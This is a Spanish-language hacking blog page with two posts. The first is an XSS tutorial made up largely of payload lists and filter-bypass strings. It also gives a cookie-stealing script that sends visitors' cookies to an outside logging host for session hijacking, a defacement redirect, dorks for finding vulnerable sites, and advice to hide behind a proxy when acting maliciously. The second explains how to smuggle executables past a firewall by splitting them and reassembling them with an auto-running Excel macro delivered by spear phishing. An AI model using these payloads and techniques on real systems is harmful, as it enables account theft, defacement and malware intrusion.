HACKER ANGELWHITE GALC

jueves, 14 de julio de 2016

TUTORIAL XSS (Cross Site Scripting)

 



¿Qué es XSS?

XSS es sinónimo de Cross-Site-Scripting. Se trata básicamente de un ataque, que se utiliza para ejecutar código HTML y Javascript en la página web. Este ataque se puede realizar mediante la presentación de consultas en cuadros de texto, o incluso en la URL. Los resultados vuelven a leer el texto en formato HTML, por lo que ejecuta las secuencias de comandos en lugar de mostrarlos en texto plano. Con un ataque XSS, se puede robar las cookies de un administrador de la web, o incluso utilizar algo de ingeniería social para manipular a alguien para descargar un virus que ha creado. Por ejemplo, un botnet, o RAT, tal vez incluso un Keylogger. Los XSS pueden ser muy peligrosos, pero también puede ser muy leve. Hay muchas maneras de usar XSS para su ventaja. Voy a citar algunos ejemplos:
Puede utilizar un cuadro de alerta para realizar publicidad, o alertar a la web-admin que ha descubierto un fallo de seguridad que implica XSS. También puede configurar un Cookie-Stealer/Logger. Cualquier cosa que usted puede ver con HTML, se puede utilizar contra un sitio con este ataque. Voy a explicar algunos de los términos más importantes relacionados con XSS.
¿Qué es HTML y Javascript?

HTML:

HTML es algo así como un lenguaje de programación. Las diferencias entre un lenguaje de programación y HTML, no están demasiado separados, son dos idiomas, que se utilizan para crear atributos y eventos. HTML es un lenguaje que se utiliza sobre todo para crear sitios web. HTML significa Lenguaje Hyper-Text Markup. Puedes usar HTML para crear formularios, botones y otras cosas que se pueden utilizar en una página web. Dudo mucho que se puedan encontrar un sitio web que no contenga incluso una pequeña cantidad de código HTML.

Javascript:

Ahora, en primer lugar, vamos a dejar una cosa clara. Hay una enorme diferencia entre Java y JavaScript. Java es un lenguaje que se asemeja a C++, que puede ser utilizado en los juegos y aplicaciones. Javascript es una especie similar al HTML, pero sin duda diferente en muchos aspectos. Javascript no utiliza la misma cantidad de páginas web como el HTML. Javascript se utiliza más en aplicaciones fuera de las páginas web. Al igual que los archivos PDF. Javascript puede ser un lenguaje increíblemente útil, junto con HTML. Ambos son bastante sencillo de aprender, y son muy dinámicos.

XSS: MI PRIMER ATAQUE:
Ahora, vamos a empezar a meterse en las cosas realmente buenas. En esta sección voy a explicar cómo usar XSS para su ventaja. También vamos a lanzar nuestro primer ataque con XSS, si usted sabe los fundamentos a XSS, se puede omitir esta sección.
Ahora, nuestro primer paso, obviamente, es encontrar un sitio vulnerable. Encontrar un sitio vulnerable a XSS es mucho más fácil que encontrar un sitio vulnerable a SQLI. El problema es que puede tomar tiempo para determinar si el sitio es muy vulnerable. Con SQLI, basta con añadir un poco ". Sin embargo, en XSS, deberá presentar (a veces) varias consultas, para poner a prueba un sitio para XSS.

Los sitios más vulnerables contendrá una búsqueda, inicio de sesión, o un área de Registro. Prácticamente en cualquier lugar que contenga un cuadro de texto, puede ser explotado con XSS. No obstante, mucha gente se olvida este hecho, y nunca lo usan en todo su potencial porque creo que es inservible. Usted no puede tomar cualquier secuencia de comandos, y editar la cosa completa. Sin embargo, la edición de una "onmouseover", es sin duda una excepción. 
De todas formas, nuestro sitio debe tener algunos cuadros de texto a la entrada de algo de HTML.
Por lo tanto, vamos a intentar poner la consulta básica de todos los tiempos:

<script>alert("XSS")</script>

Ese pequeño script, es HTML. Se hará un pequeño mensaje emergente, diciendo "XSS". Puede editar esa parte si lo desea. Eso sí, no modificar ninguna otra parte. Ponga esto en su barra de búsqueda y pulsa enter. Ahora, si un cuadro de alerta aparece entonces hemos atacado con éxito un sitio vulnerable a XSS! si no aparece ningún cuadro es porque eso significa que el sitio ha contiene algún filtro. 

Un filtro, es cuando buscamos algo, entonces pasa por un proceso pequeño, básicamente, una inspección. Se comprueba lo malicioso (peligroso). En este caso XSS. A veces, estos filtros son muy débiles, y puede ser pasado por alto con mucha facilidad, también puede ser bastante difícil de bypassear. Hay un montón de formas de evitar un filtro XSS. En primer lugar, tenemos que averiguar que cosa esta bloqueando el filtro. Una gran parte del tiempo, se bloquea la alerta. He aquí un ejemplo de este tipo de filtro:

<script>alert("XSS")</script>

>
<script>alert( > XSS DETECTED < )</script>

Se bloquean las comillas. Entonces, ¿cómo demonios se nos van pasando eso? Bueno, afortunadamente hay una manera de cifrar el mensaje completo . Nosotros vamos a usar una función que se llama "String.fromCharCode". El nombre de la misma más o menos lo explica todo. Cifra nuestro texto, en ASCII. Un ejemplo de este cifrado, sería así:

String.fromCharCode(88,83,83)

Puede ser un poco confuso, pero muy sencillo. Esto es lo que nuestra consulta completa se verá así:

<script>alert(String.fromCharCode(88,83,83))</script>

Así que vamos a poner de nuevo en la barra de búsqueda, y ¡Funcionó! Tenemos un cuadro de alerta diciendo "XSS"! Si aún no recibió ningún mensaje de alerta, pruebe algunas de estas:

"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
</script><script>alert("XSS")</script>
</script><script>alert(String.fromCharCode(88,83,83))</script>
"/><script>alert("XSS")</script>
"/><script>alert(String.fromCharCode(88,83,83))</script>
'/><script>alert("XSS")</script>
'/><script>alert(String.fromCharCode(88,83,83))</script>
</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))
</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
";alert("XSS");"
";alert(String.fromCharCode(88,83,83));"
';alert("XSS");'
';alert(String.fromCharCode(88,83,83));'
";alert("XSS")
";alert(String.fromCharCode(88,83,83))
';alert("XSS")
';alert(String.fromCharCode(88,83,83))


XSS: MÉTODOS AVANZADOS:

Ahora, en esta sección voy a compartir algunas maneras de usar XSS maliciosamente en contra de un sitio. Tenga en cuenta que todos los ataques maliciosos enviados a través de un sistema, un sitio o servidor, es ilegal y puede ser procesado por estas acciones. Así que siempre usar protección si usted está pensando en hacer algo malicioso en el sitio. Puede usar un servidor proxy/VPN.

Cookie Stealing/Logging

Ahora, robo de cookies es la cosa más dañino que podemos hacer con XSS no persistentes. Una cookie  registrará todas las cookies del usuario que accede a la página o a un documento determinado. La forma más sencilla de hacer esto, sería con un proceso de tres pasos.

En primer lugar, usted debe configurar un sitio. Personalmente, me parece lo mejor para http://www.000webhost.com/ oh un hosting de paga.
Ahora, una vez que haya creado su sitio web, vaya al administrador de archivos. Crear un nuevo archivo. Llámelo "CookieLog.txt" deje en blanco el código. Ahora bien, crear otro archivo con el nombre "CookieLogger.php". En CookieLogger.php, tenemos que añadir algo de código, para que envíe las cookies que inician una sesión, en nuestra sesión de Cookies. Añadir este código:
Código en Pastebin: http://pastebin.com/RAveZbpV

Ahora que tenemos nuestro script, podemos enviar el registrador de cookies a cualquier persona. 
Esta es la secuencia de comandos que se iniciará el registro de nuestra cookie.

<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>


Una vez que obtenga la cookie, puede utilizar el addon de Firefox "cookies Manager" para manipular y editar las cookies para que pueda secuestrar la sesión de los administradores. Cookie Manager me parece una aplicación muy útil para XSS.

DEFACING:

Defacing es una de las cosas más comunes que la gente le gusta hacer cuando no tienen acceso a las opciones de administrador múltiples. Sobre todo, para que puedan anunciarse a sí mismos, y simplemente dejar que el administrador sepa que su seguridad ha sido violada. De todas formas, defacear requiere XSS persistentes. Puede utilizar esta secuencia de comandos para redirigir a su página de deface:

<script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>

XSS: ONMOUSEOVER
Onmousover no es una vulnerabilidad muy explotable. Pero, sin embargo, todavía se considera XSS. Existe una vulnerabilidad de onmouseover la cual se vería algo como esto:
onmouseover=prompt1337

Podemos aprovechar est, mediante la edición a:
onmouseover=alert("XSS")

XSS FILTER BYPASSING TECHNIQUES

A veces una consulta sencilla de XSS simplemente no funciona. La razón de que su consulta no funciona, es porque el sitio tiene un sistema FAT o el filtro en su lugar. 

Hay muchas maneras de pasar por los filtros XSS, pero sólo voy a explicar algunos.

Hex Bypassing

Con caracteres bloqueados como >,<  y  / es muy difícil de ejecutar una consulta de XSS pero no te preocupes, siempre hay una solución, puede cambiar sus caracteres, en hexadecimal. Un maleficio de un cierto carácter, es básicamente el caracter, pero en un formato diferente. Estos pueden serle de ayuda:

> = %3c 
< = %3c 
/ = %2f

ASCII Bypassing

Con una codificación ASCII, podemos utilizar el carácter  " que se bloquea un poco. Este es uno de los filtro XSS más común de todos los tiempos pero usted necesida una secuencia de comandos para cifrar, se vería así...:
NO FUNCIONA EL SCRIPT:
<script>alert("XSS")</script>
FUNCIONA EL SCRIPT:
<script>alert(String.fromCharCode(88,83,83))</script>

Para cifrar una pequeña parte de una secuencia de comandos, vaya a este sitio: http://www.wocares.com/noquote.php

Case-Sensitive Bypassing

Este tipo de derivación rara vez funciona, pero siempre vale la pena un tiro. Algunos filtros se establecen en el lugar para detectar ciertas cadenas, sin embargo, las cadenas del filtro que se bloquean entre mayúsculas y minúsculas. Así que todo lo que tenemos que hacer, es ejecutar un script, con diferentes tamaños de caracteres, ejemplo:
<ScRiPt>aLeRt("XSS")</ScRiPt>

Usted también puede mezclar eso con cifrado ASCII. Este tipo de derivación sólo funciona en los filtros realmente muy viejos.

Algunas Dorks XSS

inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx



Espero les sirva este tutorial.

sábado, 9 de julio de 2016

Cómo infiltrar malware o herramientas de hacking en una empresa usando Excel

Últimamente, con la proliferación de malware del tipo ransomware, las empresas que no tenían ya bloqueada la descarga de ficheros ejecutables en su Firewall o Proxy, la han bloqueado. La medida es efectiva por la mecánica de infección de este tipo de malware, que en muchos casos implica la descarga de un fichero ejecutable que es el que se encarga de cifrar la valiosa información del usuario y de la empresa. Sin embargo, esta medida no tiene porque ser eficaz frente a un ataque dirigido y hecho a medida como suelen ser los APT, como vamos a ver.

Figura 1: Cómo infiltrar malware o herramientas de hacking en una empresa con Excel

Bloquear la descarga de ejecutables en el firewall de perímetro por el que los usuarios de la empresa navegan en Internet es una medida a tener en cuenta por los responsables de seguridad dentro de la política de Defensa en Profundidad de la red, pero una vez bloqueada esta descarga de ficheros, inevitablemente surgen preguntas. ¿Puede un atacante saltársela fácilmente? ¿Y si se salta, es posible implementar de forma sencilla un ataque automatizado?

HTTPs Inspection: Canal cifrado o canal abierto

Supongo que hay varios enfoques para conseguir saltarse la detección de un fichero EXE por parte del firewall en cuestión. Uno sería, por ejemplo, cifrar el canal de comunicación de las descarga punto a punto para que no se pueda analizar ese tráfico, pero desde hace años los sistemas de navegación empresariales pueden implementar medidas de Bridging HTTPs - como implementa desde hace años Forefront TMG - para inspeccionar el tráfico de descarga que hacen los clientes. Es decir, los clientes para poder navegar por Internet necesitan configurar un certificado raíz del firewall y este hace de man in the middlepara inspeccionar tráfico HTTPs.

Figura 2: HTTPs Inspection en Forefront TMG

En esta prueba de concepto, vamos a intentar engañar al firewall para que la descarga de los ejecutables no sea considerada como tal, aún cuando el tráfico pueda ser inspeccionado porque venga por HTTP o porque se esté haciendo una inspecciónHTTPs.

Infiltrando binarios por partes

Por empezar por algún sitio me voy a centrar en los archivos EXE y como solución perimetral un firewall con inspección de tráfico y bloqueo de ficheros. Lo primero es averiguar qué partes del ficheros son la firma de un EXE para el firewall. Esto puede ser solo la cabecera inicial del binario con los Magic Numbers que se buscan, o algo mucho más elaborado donde se comprueben más partes del binario.

Figura 3: Primera parte del fichero EXE es detectada

Como primera prueba empírica, vamos a partirlo en dos y ver si una, ninguna o las dos partes son detectadas por el firewall y lo bloquea o lo deja pasar. El resultado que se obtiene es que el primer trozo, al descargarlo, es considerado como un EXE y el segundo no:

Figura 4: La segunda parte del fichero sí es descargada

Ya tenemos pistas. En el primer “trozo” del fichero EXE se encuentra la firma que se busca como patrón para detectarlo y bloquear la descarga. ¿Será un patrón? Si lo es, ¿se podría trocear el fichero en partes lo suficientemente pequeñas para que ese patrón quedara diluido? La idea es que si lo troceamos lo suficiente, podríamos llegar a ofuscarle la firma. Después de algunas iteraciones jugando con el tamaño de las partes del archivo, con 29 partes de 200 bytes del principio del EXE y otra parte más con el resto del fichero, llegamos a un escenario como éste.

Figura 5: Fichero dividido en 30 partes

Una vez subidas al servidor web de turno se intentan descargar y todas bajan. Hemos conseguido descargar un EXE estando prohibido. Ahora solo queda volver a juntar las partes para conseguir reconstruir nuestra "herramienta de hackingPutty.

Figura 6: Putty se ejecuta correctamente una vez reconstruido el binario

Automatizando la infiltración del binario con Excel

Ahora queda la segunda parte, en la que vamos a intentar automatizar el proceso de recomponerlo. Para ello vamos a utilizar la potencia de Excel y sus macros - que ya vimos que un atacante se puede llevar uno la base de datos completa de la empresa con solo habilitar las macros - y que se han puesto de moda últimamente otra vez. Solo hay que programar una macro que descargue las partes del EXE de la web donde estén colgados y que después los junte otra vez. Ese archivo Excel tendría que descargar las partes, después cargar esas partes en orden en un string y después escribir ese string en un archivo binario que nivel de código no es muy difícil. Y usar después la función Auto_Open(), por ejemplo, para que se ejecute todo simplemente abriendo elExcel.

Figura 7: A partir del Excel se descargan las partes y se monta el archivo final

Con solo abrir el Excel - y conseguir que se ejecute la macro - el fichero Excel descarga todas las partes del servidor desde la máquina interna de la red detrás del firewall, las une y después ejecuta el binario resultante.

Figura 8: Ejecución de Putty con solo ejecutar la macro del fichero Excel

Protección en el end-point

Ya hemos conseguido que el fichero Excel con macros se baje un binario saltándose el bloqueo de ficheros EXE en el firewall. La siguiente pregunta es si un fichero de estas características será muy llamativo para las protecciones de end-point como los antivirus. Para la mayoría no es significativo, pero además el código se puede mejorar y ofuscar en diferentes iteraciones hasta que se evada el motor antivirus en concreto que tenga la empresa objetivo de este ataque.

Figura 9: El fichero Excel no llama la atención de muchos Antivirus

Un posible problema es que el usuario si puede, tiene que habilitar las macros para que esto funcione, pero con una campaña deSpear Phishing contra los empleados de la empresa objetivo con este fichero Excel adjunto ¿estaríais completamente seguros de que ningún usuario le va a dar a activar macros? Por supuesto, existen políticas a nivel de Active Directory para que las macros vayan firmadas, pero esto ya vimos hace tiempo que se puede saltar si el usuario de Excel quiere o cae engañado para hacerlo, con las técnicas de "Hacking Remote Apps: Jailbreaking con Excel".

Owning con Metasploit

Ahora imaginad que en vez de el Putty el archivo fuera un script de Phyton compilado a EXE con un cliente que devolviera unashell remota a través de HTTP, o un ransomware distribuido de esta forma o directamente un Meterpreter para hacer diabluras con Metasploit, tal y como hicieron Chema Alonso y Pablo González en la conferencia del Security Innovation Day de 2014. Aquí os dejo el vídeo con el instante de tiempo de esta demo con Excel.




No quiere decir este artículo que las medidas de bloqueo de ficheros EXE en los firewalls por los que se navega sean inútiles. Ni mucho menos, proporcionan una protección adecuada para evitar que el malware pueda entrar fácilmente. Pero estas medidas deben acompañarse de muchas otras. En este caso concreto hemos hecho una división del binario para evadir las firmas, pero el atacante podría haber cifrado el fichero completamente en lugar de meterlo por partes, o encontrar otra estrategia para saltarse el fichero.

Así que, dentro de la estrategia de defensa de una empresa, habría que aplicar medidas de protección a todos los niveles, yfortificar Windows correctamente, incluidas las opciones de Excel. Este artículo, solo es un ejercicio para probar cómo un APTpuede acabar encontrando el camino si tiene tiempo para aprender cuáles son tus defensas y preparar un ataque diseñado especialmente para ti. No te olvides de eso.